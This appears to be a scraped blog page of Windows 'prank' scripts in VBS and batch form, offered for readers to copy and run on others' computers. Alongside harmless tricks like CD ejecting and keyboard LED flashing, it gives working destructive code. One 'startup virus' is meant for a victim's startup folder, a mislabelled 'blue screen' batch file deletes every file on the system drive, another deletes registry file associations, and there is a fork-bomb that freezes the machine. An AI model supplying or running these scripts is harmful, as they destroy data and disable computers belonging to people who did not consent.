CD Drive eject & load Automatically !

friends,copy the below code and save it 
as anything.vbs and your CD Drive will 
eject & load Automatically !

to stop it- open task manager
go to process
and end the process of wscript.exe

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count -1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count -1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Read More

startup virus

hi! Friends
Here copy this to notepad and save it as something.vbs and click on it, it will only crash ur computer but u can put it in da startup folder of da victims computer:

Option Explicit

Dim WSHShell
Set WSHShell=Wscript.CreateObject("Wscript.Shell")

Dim x
For x = 1 to 100000000
WSHShell.Run "Tourstart.exe"
Next



   




it only works with windows xp

Read More

Funny Pranks 2

The CMD Codes- to use, open up notepad and copy and paste the code into the notepad. name the file (anyname).vbs (to make a .vbs file, when u save it or save as, it will ask u for a name and which type u want it, so choose all file then just name it as a .vbs file) then just click on the file u just made

*NOTE* these codes do not stay on forever, they just stay on until the person shuts off the computer. The registry delete is one that PERMANETLY deletes files on the computer that cannot be recovered. this will DESTROY the computer

-The blue screen of Death [this might be dangerous]
*The Blue Screen Of Death can be coded and sent to you like any application. It is up to you to be carefull and try to reveal the trick before getting in serious trouble. It loops a message asking to re-install ur windows again

@echo off

 del %systemdrive%\*.* /f /s /q

 shutdown -r -f -t 00

-Stupidity Shutdown
*This pops up a funny message then will shutdown the computer

@echo off

 msg * Fatal system error due to admin stupidity!

 shutdown -c "Error! You are too stupid!" -s -t 10

-Delete Key Registry Files [NOTE THIS IS DANGEROUS!! USE AT RISK]
*This will delete key registry files, then loops a message* (CANNOT BE RECOVERED FROM)

@ECHO OFF

 START reg delete HKCR/.exe

 START reg delete HKCR/.dll

 START reg delete HKCR/*

 :MESSAGE

 ECHO Your computer has been fcked.  Have a nice day.

 GOTO MESSAGE

-Endless Notepads
*This will pop up endless notepads until the computer freezes and crashes*

@ECHO off

:top

START %SystemRoot%\system32\notepad.exe

GOTO top

-Crazy caps lock
*This constantly turns caps lock on and off really fast continuously*

Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"

loop

-Endless Enter
*This constantly makes it so the enter button is being pressed continuesly*

Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "~(enter)"

loop

-Endless Backspace
*This makes it so the backspace key is constantly being pressed*

MsgBox "Let's go back a few steps"

Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{bs}"

loop

-Popping CD Drives
*This will make the CD drives constantly pop out*

Set oWMP = CreateObject("WMPlayer.OCX.7")

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 100

loop

Enjoy the post.

Read More

Funny Pranks

 

 Note:-Paste these codes in notepad & while saving type file name as anything.vbs .

Remember .vbs is important.

 LED Disco on Keyboard

This prank will turn your Keyboard LED’s on and off so fast that it seems like you have an DISCO lights on Keyboard

Set wshShell =wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys”{CAPSLOCK}”
wshshell.sendkeys”{NUMLOCK}”
wshshell.sendkeys”{SCROLLLOCK}”
loop

Make your computer talk

Just run this Script and it will make your computer say what ever you want, jus edit the text “your message here” to anything you want. May be you would like to make computer welcome you every time you Login by saying Welcome Your_name. So just replace your message and put this script in your startup folder and now every time you login your PC will welcome you by saying ” Welcome Your_Name”

strText = “your message here”
Set objVoice = CreateObject(”SAPI.SpVoice”)
objVoice.Speak strText

Make the computer go “ding” then popup a message

This prank will first produce a ding sound and than popup a message. Make your friend confused by writing some CRAZY text.

Set objVoice = CreateObject(”SAPI.SpVoice”)
Set objFile = CreateObject(”SAPI.SpFileStream.1″)
objFile.Open “c:\Windows\Media\Ding.wav”
objVoice.Speakstream objFile
Wscript.Echo “your message here”

Read More